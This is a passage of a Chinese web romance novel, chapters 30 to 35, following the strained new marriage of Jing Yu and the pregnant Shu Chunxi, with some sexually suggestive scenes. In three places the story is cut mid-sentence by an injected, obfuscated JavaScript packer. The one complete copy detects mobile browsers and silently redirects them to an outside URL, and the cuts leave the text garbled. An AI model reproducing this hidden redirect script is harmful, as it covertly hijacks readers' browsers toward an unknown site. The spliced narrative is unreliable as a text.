知道,自己不会睡着了,平常的日子想入睡都困难,现在更是别妄想了。 她沉着脸从床上坐起来,打开床头柜上的一盏夜灯,团住自己的双腿,低落的情绪如针扎在五脏六腑,无孔不入。 她迷茫,愧疚,难过,她又愤恨,又无助,又痛苦。 所有的一切最终都变成了绝望的祈祷。 希望舒家可以早日平反出狱,到那个时候她就能去死了,她总能够得到解脱的,而不是被敬家的这两个男人轮流着折磨。 . 柳叔已经到了年老觉少的年纪了,夜晚敬宅自有安保巡逻,但他睡过一觉醒来,也习惯绕着主楼边再走上一段,然后继续回去睡觉。 然而当他从外围绕完一圈,回来就看见了坐在庭院的台阶上,正在用铲子挖土的敬渝。 一个花盆放在阶下,穿着睡衣的男人双腿岔开在两侧,手里拿着一个铲子,正在花盆里面试图挖出一个坑来。 柳叔远远望到,在他旁边,还有几个更大的花盆,想来他是不知道从哪里找来这些工具,然后将原本花盆里的土给挖出来填到了他面前的这个空花盆里面。 看样子,已经完成得差不多了,就差播种或者移植了。 眉心重重一跳,柳叔走过去,看着正在专心致志地做着眼前这项工作的敬渝,默不作声地在他身边也坐了下来。 夜里的台阶还是凉的,他一哆嗦,然后才张口,放缓了以往铿锵有力的语调,问身旁干活的人: “少爷,你在干什么呢?” “种栀子花树。” 敬渝头也不抬,把种子撒进去,又将旁边的土给填上,有点为难地凝视着自己的杰作。 他会做很多事情,但并不会养花。 可他现在不想做那些精通的事情,只想要把眼前这盆花给种好。 柳叔还没有问他为什么要种栀子花树,敬渝自己已经开口了,淡淡地解释了一句: “纯熙喜欢栀子花,我以前答应过她,结婚的时候亲手种一颗送给她。” 其实那时候是她想要,但他不愿意花时间纡尊降贵,满足她小女儿的情思,被磨得不行了,就想了个折中的方法,才说结婚的时候种了送她。 她那时候是最容易轻信任何一种品类广告的年纪,电视上说什么东西能美容养颜,她都会照信不误。 而他勉强算是个营销上的人才,两句话就在她心里描绘出一颗带有纪念意义的栀子花树,完美打发了她。 时间过去这么久了,或许她都不记得了。 而他这么多年里,也没有真的为此去学过种植的技巧。 他为什么那个时候不答应她,立刻就种一颗送给她呢? 一切都乱了套。 敬渝扯了下嘴角,脸上的表情很难看,毫不留情地说,他看上去简直就像是要哭了。 “柳叔你看看,我种得对不对?” 他用脚将花盆往自己这边轻轻踢挪了一下,给柳叔看。 “不对。” 柳叔说完,看着身侧年轻人有些惊诧的目光,沉沉地叹了一口气。 “少爷,你想种花来讨纯熙小姐的欢心,很好,但是花什么时候都能种,不该是现在,你觉得我说得对不对?” 敬渝眼里的光闪烁了一下,如同一颗星星陨落般黯淡了下去,不说话了。 看他的样子,柳叔就能猜到,他大晚上在这里种花,肯定还有别的原因。至于原因是什么,看敬渝脸上的表情也不难想出来。 柳叔替他叹气。 而敬渝已经叹不出气了,胸膛里空荡荡的,任他现在做点什么,都好像不会轻易填满了。 他低下头,呢喃地说: “她讨厌我,再也不会喜欢我了。” 甚至连他有可能的触碰,都让她觉得难以忍受。 可她怀着孩子呢,他又怎么可能对她做什么?他是绝对不会强迫她的。 “那你打算怎么办?” “我,我不知道。” 敬渝垂头捂住面庞,摇了摇头,周身笼罩着束手无策的疲惫感。 “少爷,以前都是纯熙小姐追着你跑,所以你只要接受就行了。但现在,你要是还想跟她重归于好,就不能等着她再主动了,你得主动点,包容她,明白吗?” 敬渝松开手,似乎被他说动了,终于明白了一些其中的关窍,愣愣地思索着。 柳叔不再多言,等在他身边,等他自己把往后的路给想明白。 过了一会儿,他心想时间应该差不多了,敬渝应该也想清楚一点事情了,就从台阶上站起身,换上严厉的语气,同敬渝最后说: “少爷,你娶纯熙小姐回来,是为了让她受到冷落而伤心无助的么?” 敬渝立刻摇了摇头,便看见柳叔瞪着他,拔高了一点音量,接着追问道: “那新婚夜,你不待在房间里面,到底在这儿干什么呢?” 31. 第 31 章 第三十一章、 舒纯熙倚在床头,什么都没想,只是在发呆。 她闲下来的时候什么都不干,因为没意思,偶尔找点东西打发时间,也不会真的兴致盎然。 现在已经十二点多了。 今晚的睡意还没有着落,她就干熬。 就在某个神思沉寂的时刻,房门从外面打开了个小缝,有人静悄悄地走进房间。 坐在床上的舒纯熙疑惑地望过去,看见了回来的敬渝。 另一头站着的敬渝本担心灯光投进来,把床上的人搅醒,又要小心不弄出声响,把人直接吵醒,几乎是惦着脚走进来,又动作小心地立刻就关上了身后的门。 但房里亮着一盏灯,显然他想差了,舒纯熙根本就还没有睡。 但是刚刚他走的时候,她不是已经躺下了吗? “怎么还没睡,是不是睡不着?” 敬渝疑惑着,直起身子,朝床头那边望过去,放轻了声音,主动问道。 然后他就看见床头的人立刻探过身把灯关了,窸窸窣窣的声音响起,她已经平躺了下去,用行动回答了他的问题,意思是说她现在就睡。 也不知道她是没有精力说话,还是懒得跟他多说。 敬渝甚至怀疑她反应的动作,都带着一种无声的赌气。 而他亦是心头堵堵的。 房间里没有开灯,他站在原地看那一片静得没有任何声响的地方,想起柳叔的话,犹豫了一会儿,走过去,对着床上的人解释了一句: “我刚刚下楼找了个花盆,种了栀子花的种子。” 床上的人翻了个身侧躺过去,用背对着他。 “以前我们说好的,等到了结婚的时候,我会亲手种一颗……” 男人抿着唇,放低了声音, “纯熙,这是我送给你的花,以后,我也会好好照料它的。花盆我放在院子里了,你明天就能见到了。” 那人一动不动,没有任何反应了。 反正都开了口,敬渝索性就把话都交代了,嘱咐道: “那你先休息吧,我刚刚出了点汗,再去洗个澡,就来睡觉了。” 说完这些,他舒了一口气,去衣帽间再找了一套睡衣,然后进了洗手间。 这次敬渝没在洗手间耗多长时间,不到十分钟就出来了。 他一手用脖子上的毛巾擦着头发,一面放轻脚步,到了床边又极轻地坐下去躺上床。 就在这时,旁边的舒纯熙又翻了个身,还是将后背留给了他。 敬渝无奈地苦笑了下,随之也侧躺,一只手枕在脑袋底下,用目光凝视着新婚妻子的后脑勺。 . 舒纯熙睡不着,等敬渝也躺上床后,只要留心,她甚至能听得见他呼吸的声音,还有他渐渐睡熟后无意识转动着身体的动静。 他只用了几分钟就睡着了。 舒纯熙叹了口气,没好气地从床上起身站起来。 虽然她的东西搬进来后,已经把这个房间装扮得不伦不类起来,但她克服了那一丁点愧疚的心情,还是决定回自己原来的房间去睡。 她并没有顾忌动静,反正敬渝也已经睡着了。 但她忘了考虑这并不是她熟悉的房间,摆设的位置和她的客房还是有些出入的。 敬渝就是被一声突如其来的响,乃至一声闷哼给惊醒的。 男人于梦境里挣脱,骤然睁开双眼,只花了几秒的时间就适应了现实,揉了揉眼尾,撑着床坐起来。 “怎么了?” 声音里还带着点没睡醒的迷糊,但刻意放缓了,听上去竟出乎意料的温柔。 而床尾那个弯着腰的身影,轻“嘶”了一声,慢慢地蹲了下去。 敬渝总算反应过来,起身下了床,按开墙上的大灯开关,房间里一霎明亮清楚起来。 舒纯熙小小的脑袋依靠在床尾的床垫上面,蹲坐在地上,双手团住纤细的小腿,嘴角向下撇,忍耐地闭着双眼。 片刻间,男人已经来到她跟前,站着打量着她整个人,试图找出她怎么了。 终于,女人轻微颤动的脚趾给出了答案。 敬渝半蹲下去,手掌护在她脚边一两厘米的地方,停了下来,目光浮上心疼, “是不是撞到脚了?” 舒纯熙很喜欢剪脚指甲,稍微长出来一点就要剪掉,所以大拇指和指甲越来越贴合着长,两侧的指甲陷在肉里。 可以想象,应该是不小心撞到了,现下拇指一侧的皮肤,已经泛起一小片充血的红。 都说十指连心,难怪她疼得说不出话来,只能坐在地上缓一缓。 敬渝看着都觉得难过,挪得朝她稍微近点,紧张地说: “你是不是很疼啊,那,那怎么办能让你好点?” 舒纯熙闭着的双眼都在用力地忍耐,五官皱巴巴地挤在一起,飞快地小幅度摇摇头,虚弱地吐出几个字, “歇会就行,不用管我。” 这话说的,他怎么能真的不管她? 既着急又手足无措,敬渝踌躇地说: “地上太凉了,要不然我抱你去床上吧?” 舒纯熙默许地收回了手,微微张在身侧两旁,感受得到男人小心翼翼靠近的动作,以及总算肌肤相触的实感。 她一手揽着敬渝的脖子,另一只手任它垂下,脑袋没有更放松地靠在他手臂上,但动作总算没有太僵硬。 不过短短的几步路,两个人却都心照不宣地想起先前那一件事。 舒纯熙始终犹豫着,不知道该不该迟来地出口解释一句。 长睫颤着,在面庞上投下两片阴影,一声“敬渝”就在嘴边。 “晚上那个时候,是我不对,” 男人的声音抢在她前头响起,斟酌着,似乎也是鼓足了勇气。 “我不应该突然那样的,是吓到你了吧?对不起。你放心,以后我会更注意一点。” 说完,他已经将舒纯熙给放在了床上,双手克制地向回收,似乎没有奢求她的回答。 但舒纯熙淡淡地“哦”了一声。 直到此时,他才总算放心地输出一口气,心中亦是如释重负,微微弯了唇角。 舒纯熙坐在床上,确实缓了一会儿,就没有那种剧烈的疼痛了。 而敬渝始终站在一旁守着她,期间还偏头去打了个哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“从前有一个国王和一个王后,他们幸福地生活在一起,并且生了十二个孩子,可这十二个孩子全是男孩。国王对王后说:‘你快要生第十三个孩子了。要是这个孩子是个女孩,我就下令杀掉那十二个男孩,好让她得到更多的财产,并且让她继承王位。’……” 男人的声音越来越小,盯着书上文字的眼神也逐渐迟疑了起来,仔细看了下后面的那段话,没有读出来,因为后面写的是: “国王不只是说说而已,他甚至让人做了十二副棺材,在棺材里装满刨花,还在里面放上一个小寿枕。他让人把棺材全部锁进一个密室,把秘室的钥匙交给王后,不许她告诉任何人。” 敬渝屏息凝神,合上书又看了一眼封面,他记得自己确实是拿了一本童话书啊。 想着,他有点心虚地去看舒纯熙那边,她翻了个身,睁开眼睛,淡淡地说: “抽屉里有一本别的,读那个吧。” 32. 第 32 章 第三十二章、 这话如同一个来得非常及时的台阶,敬渝立刻就合上了腿上的那本童话书放到了一旁,然后探身去找舒纯熙说的那本书。 右手边的床头柜,第一层的抽屉里本应该是空的,现在里面竟也真的像舒纯熙说的那样,放着一本书。 典藏版的封面,拿出来时放在手上沉甸甸的,很有一点分量。 但真要算起来的话,她才是这个房间里后来的入住者,怎么好像比他还熟悉一些? 敬渝无声地勾着唇角,心里腹诽了一句,然后又仰靠在床头,翻开那本《追忆似水年华》。 舒纯熙已经转为平躺的姿势,上手覆在小腹上,闭着双眼。 不久时,身体右侧高一点的地方,响起男人清隽淡然的声音,语调没有什么波澜起伏,很是平静,理所当然地钻进她的耳朵里。 “我常常是早早上床的。 有时,刚一熄灯,眼皮便一下子沉重得垂了下来,连‘我睡着了’这句话都来不及对自己说。 半小时后,醒来了,觉得是该去找睡眠的时候了; 我想把还拿在手里的书放下,把灯吹灭; 可我其实已经在睡梦中一直想着书中的内容, 只不过那些思想变得有些奇特了: 我仿佛成了书中讲述的对象——一座教堂,一个四重奏,或者弗朗索瓦一世与查理五世之间的争斗。 ……” 第一人称,冗长的自述回忆,不光听的人逐渐追不上,就连读的人,也逐渐垂着头,声音低了一些,撑着精神读着。 舒纯熙耳边,那个声音许久没有停下,响得太久,一句接着一句地吐出来,但又并不是朗读诗歌那样的抑扬顿挫,更像是一辆电车规律地行驶在轨道上面,“叮咚叮咚”地响着铃声。 她本不对他真的能读出什么抱有期望,但到最后,意识也恍惚间渡到一个点上,游过那里,彻底迷蒙。 睡过去之前,她模糊地评价,从某个角度来看,这个声音其实是很温润也很亲和的,对么? 就像是刚经历过一场大雨后的森林里,从树的缝隙里投下来的一束阳光,让潮湿的藓忍不住要去循着他的温度,去拥抱一样。 舒纯熙还没有想明白为什么,她最后又会把敬渝的声音解读为一种温柔的温暖的东西,就坠入睡梦的深空,均匀地呼吸了起来。 明明他一向是冷淡的漠然的。 大概每个人都还是更愿意把事情往自己心里面所希望的样子上去靠拢,总是把那模样赋予面前的人,来弥补回忆里的某种缺憾和执着。 在确认舒纯熙进入睡眠后的呼吸彻底沉稳下来之后,敬渝才停下了继续往后读的念头,目光顺势又往下面看了几行,将屏住的呼吸缓缓呼出。 腿上面倚着的书,被小心翼翼地合上,再压在前头的那本童话书上面。 敬渝微阖双眼,倚着床沿,有些出神。 分明刚才读书的时候,整个人的思绪都好像要被绕进去,不自觉地要把双眼都彻底合上。 但停下之后,却又没有了要立刻去睡觉的想法,反而精神在半夜里愈发清楚。 身侧的人已然睡熟,意识对于面前的境况有大致的掌控,但他也知道,这个夜晚开始,也就是现在此刻,胸膛里跳动着的那颗心,朝左边偏了大半,就像要冲出体外那样。 悄然地转过身,手肘抵在枕头旁的床垫上,敬渝向下躺了一点,然后支住身子,朝着她的方向很认真地端详着。 女人闭上了双眼,眉心舒展,红唇小嘴微微张开一个小口,像一只鱼吐泡泡那样往外呼气,再用秀气的鼻子吸气,循环往复地重复着同一个简单的动作。 看得人莫名柔和。 这还是他第一次这么认真地观察舒纯熙睡觉的样子,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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大脑里起先一片空白,然后所有的思绪、回忆和情绪再归位,她睁着双眼,望着眼前这片有点陌生的天花板。 一样的床的摆放方位,一样睡在左侧,还有身下的床垫也是相同的质感。 舒纯熙花了好一会儿,才反应过来,她现在躺在敬渝的房间里。 昨天,她就已经搬进来了。 身侧没有人,敬渝已经起床离开卧室了。 舒纯熙撑着手坐了起身,目光落在床尾后的地板上,房间里拉着的不透光窗帘遮挡住了外面的天光,只有底下的一个小缝,漏出来一条线的光亮。 心里莫名其妙地堵了起来,两只嘴角向下扯着,女人从床上站起身,走进卫生间里。 灰色的玻璃杯旁边放着她的粉色玻璃杯,左边杯子里面放着一把黑色的电动牙刷,而她的那支是淡粉色的。 两只牙刷抵在各自的玻璃杯里,露在上面的上半身则朝着相同的方向,中段交叠在同一处,看上去就像交颈而眠的一雌一雄两只天鹅。 抿紧双唇,舒纯熙伸手将那只黑色的牙刷拨到另一边去,然后再把自己的牙刷和刷牙杯拿下来,垂着双眼,动作恹恹地开始了洗漱。 她一觉睡到中午,下楼吃了午饭后,又去花园歇过晌,一天的时间也就消磨得差不多了。 晚上睡得迟,白天就会起得晚,白天起晚了,又没有什么事情可以做,不能劳心费神,压根消耗不了什么体力,晚上就依旧会睡不着,入睡的时间就也会往后推移。 循环往复,让人不得不头痛。 天边挂起绚烂的橘红色火烧云时,舒纯熙正坐在秋千上想这件事。一只手抓在吊链上,而脸颊倚在手侧,她有一下没一下地在空中晃荡着。 想到最后,也没有真的想出来一个解决方法来,思绪反而被远处走过来的一个人给打断了。 男人手上提着一个保温袋,看上面的卡通图案,应该是一个挺火的甜品店的外带包装。 而提着袋子的男人衣服还没有换,西装一丝不苟,严谨到了头发丝。 怎么看怎么违和。 忍住心里的好笑,直接冷哼一声,舒纯熙别过脸去。 而朝她走来的敬渝又加快了脚步,快走着把走到她跟前要花的时间给缩短了一半,到了跟前,微喘着平复着呼吸,另一只手把袋子递到秋千上的人面前。 敬渝又不说话,舒纯熙偏过去的脸等于对他没影响,反而是那保温袋明晃晃地扬在眼前,应该是什么吃的,不立刻去看好像亏的反而是自己…… 舒纯熙目光飘忽,索性数起了吊链上的一个一个椭圆形的铁环。 “我买了焦糖布丁和酸奶冰激凌,先吃一点,然后再去吃晚餐?” 男人的气息几下就恢复如常,含着笑,主动捧起了台阶, “去那边坐一下,我帮你拿出来摆好?” 秋千上的人又低低地哼了一声,不置可否,但好在脚是触了地踩下来,从秋千上下来,直接转了身,往后面不远处的长椅边开始挪动。 舒纯熙在长椅的一边坐下后,敬渝也在另一边做好了,如他所说,将那提了一路的保温袋给放到地上,俯下身撕开贴条,从里面一样一样拿出了东西来。 装在透明盒子里的焦糖布丁,还是装在方形玻璃盒里的酸奶冰激凌,还有一个可颂,一个蛋黄酱三明治,一股脑都被拿出来摆在两人中间的地方。 舒纯熙皱起了眉头,盯着敬渝又把裹着餐具的纸巾拿出来。 这下袋子是总算空了。 抬起头转过来的男人好像也慢一步地反应了过来,手上的动作停顿了一下,把纸巾暂放在双膝上,又将那两个面包给塞回了袋子里。 做完这些,他又打开纸巾,从里面分出两张来,一张垫在椅子上面,把见了空气而快速挥散着凉气的冰激凌和布丁拿起来,放在纸巾上面。 另一张纸,他递到舒纯熙手边,看她没什么配合的意思,就抬了一下她的手,好整以暇地垫在她的双膝上。 然后,他再去开冰激凌的盒子,这一回舒纯熙接了过来,随即,撕开包装袋的塑料勺子也被插在冰激凌中间。 “好了,” 忙活完这么一遭,敬渝觉得舒纯熙审视打量的眼神都要把他一背的冷汗给吹干了,不对,他本就是手忙脚乱才会起这些赧然的冷汗的。 想着,讪讪地又说道: “先吃冰激凌吧,好像有点化了,保温袋效果不是很好,从店里到家又有点时间。” 他说的这些她又不是不知道,目光在那奶白色的固体冰激凌上停留着,舒纯熙扯扯嘴角, “借花献佛的事情,你还有本事讲得这么好听。” “才没有,” 敬渝“啧”了一声,声音不复低沉,拔高了些许解释道: “我下了班自己排队去买的,就是担心买早了会化掉,买完了立刻就回来了。” 然后就是送来给你吃。 舒纯熙“哦”了一声,拿起勺子开始吃。 身旁的人则目光灼灼地在一边望着。 吃了没几口,她就没好气地回了一记眼刀过去, “你又干嘛?” 敬渝伸出食指,默默地摸了下鼻梁,移开了眼神。 舒纯熙这才继续吃了起来。 然后在她吃到三分之一的时候,敬渝又看过来,凝着眸子开了口,语气一点不马虎地劝她说: “吃这么多够了,剩下的就留着明天吃吧。” 舒纯熙不耐烦地叹了口气,把剩下的几乎要融化完的冰激凌往他面前递了一下, “……你确定?” 难不成再放冰箱去冻起来,明天再来吃? 敬渝嚅动了一下嘴唇,默然伸出手,从她手里把玻璃盒接过来, “剩下的给我吃。” 舒纯熙望着他一脸淡然的面庞,但语气里分明有点勉为其难,一天的不顺心都找到了发泄的苦主,拔高音量气急败坏地说: “神经病!” 吃个冰激凌还要被看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466096|168356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着定量摄入,舒纯熙不爽到了晚上睡觉之前。 明明是他买来送给自己吃的,到最后又不让自己好好吃完。 就在舒纯熙越想越气,满腹怨念的时候,敬渝回房来了。 房门先从外面被他打开,然后他又折返出去,从里面端进来一个泡脚桶。 再转回去将房门关上,敬渝才转过身来,望着床上玩平板的女人,试探地问了句: “我端了水来,你泡完脚再睡?” 大约又是什么治疗失眠的手段,舒纯熙想了想,倒没有拒绝,下了床坐到沙发上。 泡脚桶里面的开水已经晾到了四十度左右,温度适宜,女人双手撑在身侧,低头往盆里盯着自己白花花的脚丫看。 敬渝就席地坐在铺了羊绒地毯的地面上,目光柔和地望她的脸。 她看上去比他高一点,他便仰着头,嘴角噙着一丝笑意。 “明天你还想吃什么么,我下班了给你买回来?” 不用耐着性子去排队,让他去排,确实是个不错的方法。 但舒纯熙只是拨弄了一下泡脚桶里的水,没应声。 “我要是实在想吃的话,不能让家里人跑腿去买么?” “可以……是可以,” 敬渝一时之间琢磨不透舒纯熙的意思,因为她的语气很平静,真的像是在询问,而不是阴阳怪气或者拒绝,或者说,她也没有必要用这种方式拒绝。 于是他沉下气,压下心中忐忑,小声说: “但你交代给我去买也是一样的,不是嘛?” 是一样,只要不要她自己去买,谁去买又有什么区别? 舒纯熙没答话,茶几上的手机闹钟就响起来。 敬渝则伸手把闹钟划掉,撑着手站起来,绕到一边的沙发上坐下,然后拿起放在一边的干净毛巾瘫在手上,示意舒纯熙把脚给他。 舒纯熙弄不准他的意思了,缩在桶里不动。 “好了,泡太久也不行,” 男人拧着眉一脸认真,将语调放松,循循善诱般: “我帮你把脚擦干净,然后给你按摩。” 闻言,舒纯熙狐疑地望过去,试图从说这话的人脸上找出一丝一毫的破绽,但他岿然不动,耐心地等着。 粉红与天蓝色混合交融的毛巾,包裹住白皙的脚,乃至脚腕和上面的小腿。 敬渝的手掌隔着厚厚的毛巾,动作仔细舒缓地推动,细细拭去上面的水珠与潮气。 两个人都不由自主地放轻了呼吸,尽力保持着目不斜视。 两只脚分别擦完,舒纯熙顺势斜躺在沙发上,而敬渝退到沙发尾下去,双膝岔开跪在地板上,抬起舒纯熙的脚腕。 任人摆弄宰割的感觉并不好受,舒纯熙的脚趾轻轻地颤抖着,感受得到那双清瘦有力的大手是怎样抚过她的脚板,揉捏着其中几个穴位。 她难耐地闭上了双眼,胸膛里的心脏“扑通扑通”剧烈跳动着,冲击着两耳鼓膜,浑身紧绷,却又好像酥软得没有一丁点抵抗能力。 这感觉令她抓狂,又不可控制地陷入绝望。 34. 第 34 章 第三十四章、 第一只脚只差一点就要按完,舒纯熙忽然间挣扎着收回了脚,两只腿并拢,环在臂弯之中,目光闪躲地别过脸去,语速很快地说了句: “好了,我不想按了。” 敬渝今天才速成的按摩手法,聚精会神地对待着今天最后一项事务,牢记着孕妇不能被按压的几个穴位避开。 被舒纯熙的话一说,有点愣怔,但并没有执着,低着的头也就一直没有抬起来,克制着呼出一口气,沉声应她道: “好,那你先去睡,我把这儿收拾一下。” 他说完,舒纯熙几乎是立刻就下了沙发,汲着拖鞋跑到床边,掀开被子上了床。 被留下的人则在原地一动不动又待了好一会儿,等到自己也完全平复下去,才从地上爬起来,端起泡脚桶进了洗手间。 将一切都收拾好之后,敬渝又洗了一把脸,望着镜子里的自己,吸气,呼气,深呼吸,重复了十几次,才从洗手间里走出去。 房间里的灯还亮着。 男人从门边转过去,就看见舒纯熙坐在床上。 她并没有真的在睡觉,只是倚着床头,不知道在想什么,好像有点出神。 待到敬渝走到床边,从自己那侧上了床之后,才看到她的面色有种莫名的苍白。 男人撑着手探身过去,目光上下一扫, “你怎么了,没什么事吧?” 舒纯熙没说话,侧转过脸来,眼神撞上他的双眸,望进他眼里,但又好像不是在看他,突然张开了双唇,那语调幽幽的,似呢喃低语一般送到敬渝耳边。 “敬渝,你抱抱我。” 好似一道裹挟着白光的炸弹在敬渝脑中骤然炸开,他听见了女人的话,尾调里藏着点委屈巴巴,但细想一下,又仿佛根本没有,这话只不过是她的命令。 总之他在眼前这境况之下,实在没办法很快弄清楚她是什么意思。 心毫无章法地乱了,平白加速了急促的呼吸,因为抑制着,轻到听不见更多的细节,一切只仿佛是寻常的自如模样。 他撑了下身体,朝左边的人靠近过去,几乎就要挨到她身侧,坐下后,抬起双臂,一只手落在她脊背上,另一只手则从前面揽过去。 他倾身朝她的方向俯过去,而她也被他揽过来,两个人的身体离得还有一点空隙,上半身却逐渐靠近,以至于紧拥在了一起。 提出要求的人,双臂始终无力地垂着,说完那句话之后,就没再有过更多的动作。 所以拥抱的事情是由敬渝来完成的,而她只是乖顺地承受。 敬渝察觉出她的不再抗拒,一颗心在胸腔里跳动得轰鸣四起,两臂发麻,将她揽在自己的怀里,既如获至宝一般不敢用力,却又想把好不容易愿意靠近的女人按进自己的血肉里。 她的脸侧贴着他的胸膛,肌肤相触,吐出的呼吸甚至轻抚着他的心口,将那里熨帖得令人忍不住喟叹。 满腔热血不知道该往何处安放,敬渝只觉得气血上涌,眼里似有潮意,用极低的声音眷念地呼唤着怀里人的名字, “……纯熙,纯熙。” 怀里的脑袋偏了偏,那动作就好像是轻蹭了一下他的胸口,无声地回应着他,将心都酥麻到瘫痪。 男人双臂愈发收紧的同时,女人顺势将整个身子都靠到他身前,全身心地倚着他。 舒纯熙在他怀里抬起头,黑黝黝的眼睛再度望向他,海上又传来塞壬的歌声,诱惑着他再往前一步。 这次,她说: “敬渝,你亲亲我。” 敬渝难耐地闭上了双眼,不去看她的眼睛,身体已经僵硬起来,不知道该不该听她的指示。 那是她的要求,他顺从,其实是理所当然的,就像他总是不能拒绝她那样,他也总是束手无策的。 怀里的人并不催促,耐心地等待着他的答复。 胸膛里的心总算“扑通扑通”地要从嗓子眼里跳出来了,男人有点狼狈地睁开眼睛,喉咙滑动,嘴角向两边扯了一下,神情隐忍。 而后,他的双掌捧起女人的脊背,自己则如同信徒般俯身下去,极其克制地将自己的唇印在舒纯熙的唇瓣上,一触即离,不敢有丝毫的留恋。 “好了。” 敬渝喑哑着嗓子开口,喉咙滚动,似乎用有点卑微的态度,请她结束现在的这种情况。 舒纯熙如他所愿地坐直了身体,同他分开了上半身的距离,然后,在他晦涩难懂的眼神里,伸手拉过来他的一只手掌,引导着他放在自己洁白的脖颈上。 “敬渝,你再摸摸我。” 但放在脖颈上的那只大掌并不配合,本就只是凭着一点接触,搭在她肩上。 听见她的话之后,那只手反而变得更僵硬,虽然尽量没有挪开收回来,但一动不动的。 身前的女人蹙眉,拉下他的手,抓着男人的手腕,往自己身前还算圆润的地方带去。 那只手这次没有任她摆布,眼疾手快地在即将触碰的关头,手掌向上一仰,和手腕形成一个九十度角,同时也挡住了舒纯熙的动作。 另一只手也追了上去,无声却坚决地握住她的小臂,将自己的手掌解救下来,收回了身侧。 “别这样。” 敬渝憋着一口气,死死咬住牙,压着声吐出这三个字,眼底有点红。 跪坐在他身前的女人紧抿双唇,用鼻子呼出一口短促的气,直起身子,搡了一下男人的肩膀,将他向后推抵在床背上。 然后翻身骑在了他身上,居高临下地睨着他。 身下男人睡裤里的东西早已抬头,愈发叫嚣,舒纯熙坐上去的时候就已经感受到了。 她没什么表情地细细端详着敬渝的样子,身侧的两只手臂绷紧了睡衣的面料,却又只能无奈地抵在身侧,明明想反抗却又不敢的样子。 “纯熙,我……你,你先下去,” 那两瓣薄唇快速开合着,难得说出些杂乱无章的字句,明晃晃地就在她眼前绕着。 舒纯熙抵着他肩,将人按住,然后凑上去将他的双唇严丝合 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舒纯熙移开了面庞,离得远些,坐在他身上,撑着他的胸膛,眨了眨眼,忽然说: “我吻得好吧?” 得到敬渝认输般的答案后,她又扯起唇角一个清浅的弧度,声音不大不小,足够让面前地男人听得清清楚楚: “我会这些,都是敬亭手把手教的,大哥。” 房间里面一时间静谧了起来,敬渝睁大了那双窄眸,目光不消解释,已经逐渐恢复清明,随之而来的是理智与克制回笼。 身体依旧僵硬,现在已经感到有点麻木,他肿胀得依旧难受,而她不管不顾地坐在上面,愈发折磨。 他忽然想到在机场的时候,她也是叫了他“大哥”的。 没有听错。 身前的女人用一种似笑非笑的表情看着他。 而现在的他呢,狼狈不堪,混乱,如同刚刚被蹂躏过了一般。 那么刚刚的这一切算什么呢? 他克制又隐忍,理智和欲望的疯狂拉扯,最后还是被自己日思夜想的女人,引诱到放纵自己堕落的情况算什么呢? 他没想真的碰她的,一切都可以忍耐。但他放纵自己听从了她的指示,亲吻了她,不是么? 她全都明了,甚至是冷眼旁观到现在么? “不要叫我大哥,我不是你的什么大哥。” 敬渝有点难看地扯出一个笑容来,也不知道是要给谁看,霎时已经像是颗被霜打了的茄子,凉意遍布周身,爬上脊背,催出一背冷汗。 “纯熙,我们已经结婚了。我是你的丈夫,我是你的老公。” 回应他的只有很快的一声嗤笑,女人凝视着他,好整以暇地欣赏着他现在的面部表情,低头吹了下自己的指甲,提醒道: “你忘了你之前是怎么跟我说的?我们结婚不是为了孩子嘛。你现在是想干什么,坐享齐人之福,跟我重归于好?让我想想,你这是不是算违背初衷了?” 35. 第 35 章 第三十五章、 她伸出手点了点他的心口,明明力道不重,但就像是一根钢针一样,猛地扎进了敬渝的心脏里面,把他一直以来覆盖在上面的遮羞布猛地给撕扯开来。 敬渝不知道该说点什么了,从刚才到现在发生的一切都在他的意料之外。 这所有的一切都只是舒纯熙为他准备的挑逗,让他好好看清楚,自己是个怎么可笑又下流的男人。 原来是这样。 他低笑了一声,已经顾不得身体上的异样和难受,伸手上前,又把人揽进自己的怀里,凑得很近,他俯身讨好一般地啄吻她的面庞。 先是额头,然后是鼻梁,双颊,还有那张让他难过的嘴唇,然后滑下去,到她的脖颈。 他确实是不会接吻,确实没有这种经验,所以就只是单纯的用嘴唇印下一个吻而已,就像一开始她要求他的时候,他给出的那样。 男人困兽犹斗,像一只打了败仗的雄狮,气急败坏却又无可奈何地在她身上留下着近乎没有的痕迹,只有动物标记一般的气味。 呼吸越来越沉,动作越来越慢,到最后,还是徒劳地停下了动作,拥住她,还是像一开始抱着她那样将她紧拥,用更卑微更可怜的语气呼唤她的名字。 似乎是在用柔情似水的语调,呼唤那遥远的曾经,祈求她能再惦念自己的一点好。 “纯熙,舒纯熙,舒纯熙,纯熙……” 舒纯熙却听得厌烦了。 她想推开他,又听到他自顾自地说: “你还生我的气是不是?我给你道歉好不好,我错了,都是我不好,其实那个时候你不走,我们也是要结婚的,我只是希望你能等一等。 “你知道的,我怎么能真的拒绝你呢,我怎么会不跟你结婚呢?纯熙对不起,都是我不好。你原谅我,你原谅我好不好,再给我一次机会,我绝对不会再那样了……” 他抱着她,语气很快地把这话一箩筐地都倒出来,就好像抱着一个行将就木的人,再不把这话说出来就没机会了一样。 是对是错至今没有定论,而她也嫁了别人,早给了他足够沉重的报复,他其实也生过她的气。 但此时此刻,过去他到底怎么想的已经都不重要了。 